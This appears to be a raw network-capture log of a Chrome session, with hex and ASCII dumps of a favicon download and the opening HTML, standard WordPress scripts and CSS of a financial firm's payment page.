_hjSession_231701=eyJpZCI6IjRhNzY1OGFkLWFjMWYtNGI2MS1hNDUxLTlkMjI3ODQ5ZDMwOSIsImMiOjE3MTI4Njc3NDM4NTksInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MX0=; __cf_bm=PJpzmjPGhN.V58GneuX_6dCGhQKU0fM.5_4To6u_ULw-1712867746-1.0.1.1-vVRdRRgsZPaNP5mhM9l0f_c2Prrke.LPpBr_zDReN8IPj4vENkO3WP0ktQVw_8yKRXK00jetgbbVG6mN5otYag
2024-04-11 20:35:47 UTC	482	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:47 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 12 Jan 2024 03:34:03 GMT ETag: W/"65a0b32b-3c2e" Cache-Control: public, max-age=31536000 Access-Control-Allow-Origin: * CF-Cache-Status: HIT Age: 607621 Server: cloudflare CF-RAY: 872dc3dbad9580d9-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 20:35:47 UTC	887	IN	Data Raw: 33 63 32 65 0d 0a 00 00 01 00 03 00 10 10 00 00 01 00 20 00 68 04 00 00 36 00 00 00 20 20 00 00 01 00 20 00 28 11 00 00 9e 04 00 00 30 30 00 00 01 00 20 00 68 26 00 00 c6 15 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 00 55 03 5e 00 7b 1b 5d 00 7a 58 5e 00 7b a0 5f 00 7b e6 5e 00 7b e0 5b 00 7b 38 00 00 00 01 00 00 80 02 00 00 80 02 00 00 80 02 00 00 80 02 00 00 80 02 00 00 00 00 00 00 00 00 5c 00 78 53 60 00 7c c0 5e 00 7b f3 5e 00 7a fe 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 92 5d 00 7b 4d 5e 00 7a bc 5e 00 7a bc 5e 00 7a bc 5e 00 7a bc 5e 00 7b b9 5d 00 79 91 5a 00 7b 1f 5f 00 7b ef 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b Data Ascii: 3c2e h6 (00 h&( UU^{]zX^{_{^{[{8\xS`\|^{^z_{_{_{^z]{M^z^z^z^z^{]yZ{_{_{_{_{_{_{_{
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 9b 5f 00 7c 23 5e 00 79 54 5e 00 79 54 61 00 7a 32 4d 00 80 0a 00 00 ff 01 5f 00 7a a7 5f 00 7b fe 5f 00 7b fb 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 9b 5c 00 79 3d 5d 00 7a 94 5d 00 7a 94 5d 00 7a 94 5d 00 7a 94 5e 00 7a 9b 5f 00 7b eb 5f 00 7a d5 5f 00 7c 86 5f 00 7b e8 5e 00 7b fb 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 92 5d 00 7b 55 5e 00 7a cf 5e 00 7a cf 5e 00 7a cf 5e 00 7a cf 5f 00 7b cd 5f 00 7b a6 5d 00 7a 2c 00 00 00 01 55 00 80 0c 5b 00 7b 38 5e 00 7a 6f 5e 00 7b ae 5f 00 7b e9 5f 00 7b e2 60 00 7b 38 80 00 80 02 33 00 66 05 33 00 66 05 33 00 66 05 33 00 66 05 33 00 66 05 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _{_{^z_\|#^yT^yTaz2M_z_{_{_{_{_{_{_{_{^z\y=]z]z]z]z^z_{_z_\|_{^{_{_{_{_{^z]{U^z^z^z^z_{_{]z,U[{8^zo^{_{_{`{83f3f3f3f3f
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 49 00 6d 07 5f 00 7a ca 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fa 5e 00 7a 80 55 00 55 03 5c 00 7a 56 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7c f3 5f 00 7b d2 5e 00 7b ec 5f 00 7a fe 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 49 00 6d 07 5f 00 7a ca 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a 88 55 00 55 03 5c 00 7a 56 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b Data Ascii: _{_{_{_{_{_{_{_{_{_{_{_{_{^z^{QIm_z_{_{_{_{_{_{_{_{^zUU\zV^z_{_{_{_{_{_{_{_{_{_{^\|_{^{_z_{_{^z^{QIm_z_{_{_{_{_{_{_{_{^zUU\zV^z_{_{_{
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 00 7a d5 5e 00 7b f9 5f 00 7b ff 5e 00 7a 88 55 00 55 03 5c 00 7a 56 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b e2 5d 00 7b 4d 4d 00 66 0a 5e 00 7b 8d 5f 00 7b f7 5f 00 7b ff 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 00 00 00 01 58 00 7b 1d 5c 00 71 24 5c 00 71 24 5c 00 71 24 5c 00 71 24 5c 00 71 24 5e 00 7b 6c 5e 00 7b e9 5f 00 7b ff 5e 00 7a 88 55 00 55 03 5c 00 7a 56 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fd 5f 00 7a ae 5e 00 71 1b 5b 00 79 2a 5f 00 7b d2 5f 00 7b fe 5f 00 7b ff 5e 00 7a e5 5e 00 7b 51 55 00 80 06 5e 00 7b 9d 5e 00 7a c4 5e 00 7a c4 5e 00 7a c4 5e 00 7a c4 5e 00 7a c4 Data Ascii: z^{_{^zUU\zV^z_{_{_{_{_{_{_{_{_{_{]{MMf^{_{_{_{^z^{QX{\q$\q$\q$\q$\q$^{l^{_{^zUU\zV^z_{_{_{_{_{_{_{_{_{_{_z^q[y*_{_{_{^z^{QU^{^z^z^z^z^z
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 7b ff 5e 00 7b dc 5d 00 79 37 40 00 80 04 5e 00 7a 7f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5d 00 7a 9f 5f 00 7b 97 5f 00 79 76 5d 00 79 3f 5d 00 74 0b 00 00 00 00 00 00 00 00 66 00 66 05 55 00 77 0f 5f 00 7c 23 5c 00 7a 56 5e 00 7b 8b 5e 00 7b b5 5f 00 7b d2 5f 00 7c f1 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7b fb 5e 00 7b aa 5b 00 80 0e 00 00 00 00 60 00 80 08 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 4d 00 80 0a 55 00 71 09 33 00 66 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 00 76 0d 59 00 79 28 5e 00 79 4c 5d 00 79 7c 5f 00 7b ba 5f 00 7b ed 5f 00 7b ed 5e Data Ascii: {^{]y7@^z]z]z]z]z]z]z]z]z]z_{_yv]y?]tffUw_\|#\zV^{^{_{_\|_{_{_{_{^{^{[`MMMMMMMMMUq3fbvYy(^yL]y\|_{_{_{^
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 3b 5c 00 76 27 5e 00 7b 1b 5b 00 6d 0e 55 00 55 03 00 00 00 00 00 00 00 00 59 00 80 14 5c 00 7c 40 5d 00 7a 8c 5f 00 7b c3 5f 00 7a dd 5f 00 7b ed 5f 00 7a f8 5e 00 7a fe 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b f5 5d 00 7b 9c 5e 00 7d 31 80 00 80 02 5c 00 78 48 5e 00 7a cb 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5e 00 7a db 5f 00 7b da 5f 00 7b d4 5f 00 7b c7 5f 00 7c a9 5e 00 7a 6d 5e 00 7a 2e 55 00 6a 0c 00 00 00 01 5f 00 7b 5b 5f 00 7b b2 5e 00 7c eb 5e 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 Data Ascii: ;\v'^{[mUUY\\|@]z_{_z_{_z^z_{_{_{_{_{_{_{_{_{_{_{_{_{_{]{^}1\xH^z^z^z^z^z^z^z^z^z^z^z^z^z^z_{_{_{_\|^zm^z.Uj_{[_{^\|^z_{_{_{_{_{_
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 80 00 80 02 5f 00 7a 4b 5f 00 7b d4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e4 5f 00 7b e2 5f 00 7a c2 5e 00 7a 6f 5a 00 78 11 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b Data Ascii: _{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{^z^z^{6_zK_{_{_{_{_{_{_{_{_{_{_{_{_z^zoZxff\{:^z_z_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 60 00 7b f8 60 00 7c a5 5b 00 76 1c 6d 00 6d 07 62 00 78 22 5f 00 7a b1 5f 00 7a fa 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 00 00 00 00 60 00 80 08 55 00 75 18 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 58 00 76 1a 5e 00 71 1b 5a 00 7a 30 5f 00 7b 83 5f 00 7b da 5e 00 7a fe 5f 00 7b ff 5e 00 7b bb 58 00 7b 1d 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fd 5f 00 7b dc 60 00 7b 7a 4d 00 80 0a 5a 00 78 11 5f 00 7b 5b 5f 00 7b cf 5f 00 7b fe 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 Data Ascii: {_{_{_{`{`\|[vmmbx"_z_z_{_{_{_{^z^z^{6`UuXvXvXvXvXvXv^qZz0_{_{^z_{^{X{ff\{:^z_z_{_{_{_{_{_{_{_{_{_{_{_{_{_{`{zMZx_{[_{_{_{_{_{_{^z
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: 79 54 5f 00 7a ca 5f 00 7b f7 5f 00 7b fe 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 80 00 80 02 5e 00 7c 44 5e 00 7a c0 5f 00 7a cf 5f 00 7a cf 5f 00 7a cf 5f 00 7a cf 5f 00 7a cf 5f 00 7a cf 5f 00 7a cf 5e 00 7b d3 5f 00 7b e7 60 00 7b f8 5f 00 7b ff 5f 00 7b ff 5e 00 7b bb 58 00 7b 1d 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fb 5e 00 7a e1 5e 00 7a ab 5f 00 7b 8f 5f 00 7b a6 5f 00 7a bc 5e 00 7a db 5f 00 7b f5 5e 00 7a fa 5f 00 7b da 5f 00 7b 7c 5a 00 78 22 60 00 7b 68 5e 00 7b cb 5e 00 7a f6 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 55 00 55 03 5c 00 7b 53 5f 00 7b ec 5f 00 7b ff 5f Data Ascii: yT_z_{_{_{_{_{_{_{^z^z^{6^\|D^z_z_z_z_z_z_z_z^{_{`{_{_{^{X{ff\{:^z_z_{_{_{_{_{^z^z_{_{_z^z_{^z_{_{\|Zx"`{h^{^z_{_{_{_{_{^z^z^{6UU\{S_{_{_
2024-04-11 20:35:47 UTC	1369	IN	Data Raw: fe 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 55 00 55 03 5c 00 7b 53 5f 00 7b ec 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7b fb 5f 00 7a e1 5e 00 7a a3 5d 00 7b 76 5e 00 79 67 5e 00 79 67 5e 00 79 4c 55 00 6a 0c 66 00 66 05 5c 00 7b 3a 5e 00 7a b6 5f 00 7a fc 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b fa 5f 00 7b e7 60 00 7b e0 5e 00 7a ec 5f 00 7a fa 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5e 00 7a f6 5e 00 7a a3 5e 00 7b 36 55 00 55 03 5c 00 7b 53 5f 00 7b ec 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b ff 5f 00 7b e8 5e 00 Data Ascii: _{_{^z^z^{6UU\{S_{_{_{_{_{_{_{^{_z^z]{v^yg^yg^yLUjff\{:^z_z_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{_{`{^z_z_{_{_{^z^z^{6UU\{S_{_{_{_{_{_{_{_{^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50164	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:48 UTC	651	OUT	GET /payment/ HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:49 UTC	862	IN	HTTP/1.1 200 OK Connection: close Content-Length: 58313 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/html; charset=UTF-8 x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" link: <https://www.bfjfinancial.com/wp-json/wp/v2/pages/2283>; rel="alternate"; type="application/json" link: <https://www.bfjfinancial.com/?p=2283>; rel=shortlink x-fw-dynamic: TRUE x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:49 GMT X-Served-By: cache-ewr18154-EWR, cache-ewr18135-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867749.651487,VS0,VE393 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='inde
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 6e 74 69 6e 67 22 2c 22 69 73 50 61 72 74 4f 66 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 77 65 62 73 69 74 65 22 7d 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 33 2d 30 33 2d 32 38 54 31 33 3a 32 36 3a 32 34 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 33 2d 30 34 2d 32 38 54 30 39 3a 30 34 3a 30 38 2b 30 30 3a 30 30 22 2c 22 62 72 65 61 64 63 72 75 6d 62 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 70 6f 74 65 6e 74 69 61 Data Ascii: nting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"datePublished":"2023-03-28T13:26:24+00:00","dateModified":"2023-04-28T09:04:08+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/payment/#breadcrumb"},"inLanguage":"en-US","potentia
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 36 2f 66 61 76 69 63 6f 6e 2d 31 2e 70 6e 67 22 2c 22 77 69 64 74 68 22 3a 38 30 2c 22 68 65 69 67 68 74 22 3a 34 35 2c 22 63 61 70 74 69 6f 6e 22 3a 22 42 46 4a 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 2c 22 73 61 6d 65 41 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 68 74 74 Data Ascii: Url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","htt
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 34 61 31 32 34 65 30 39 30 64 37 65 65 39 36 35 66 37 35 66 31 31 64 65 65 31 34 33 31 31 37 64 22 7d 7d 3b 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 76 61 72 20 6f 2c 73 2c 65 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 Data Ascii: 4a124e090d7ee965f75f11dee143117d"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 72 69 61 6c 22 2c 7b 7d 29 3b 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 5b 65 5d 3d 74 28 61 2c 65 2c 6e 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 74 3d 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 Data Ascii: rial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythi
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 7c 7c 28 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 2c 28 65 3d 6e 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 Data Ascii: llback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wp
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 Data Ascii: s-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%
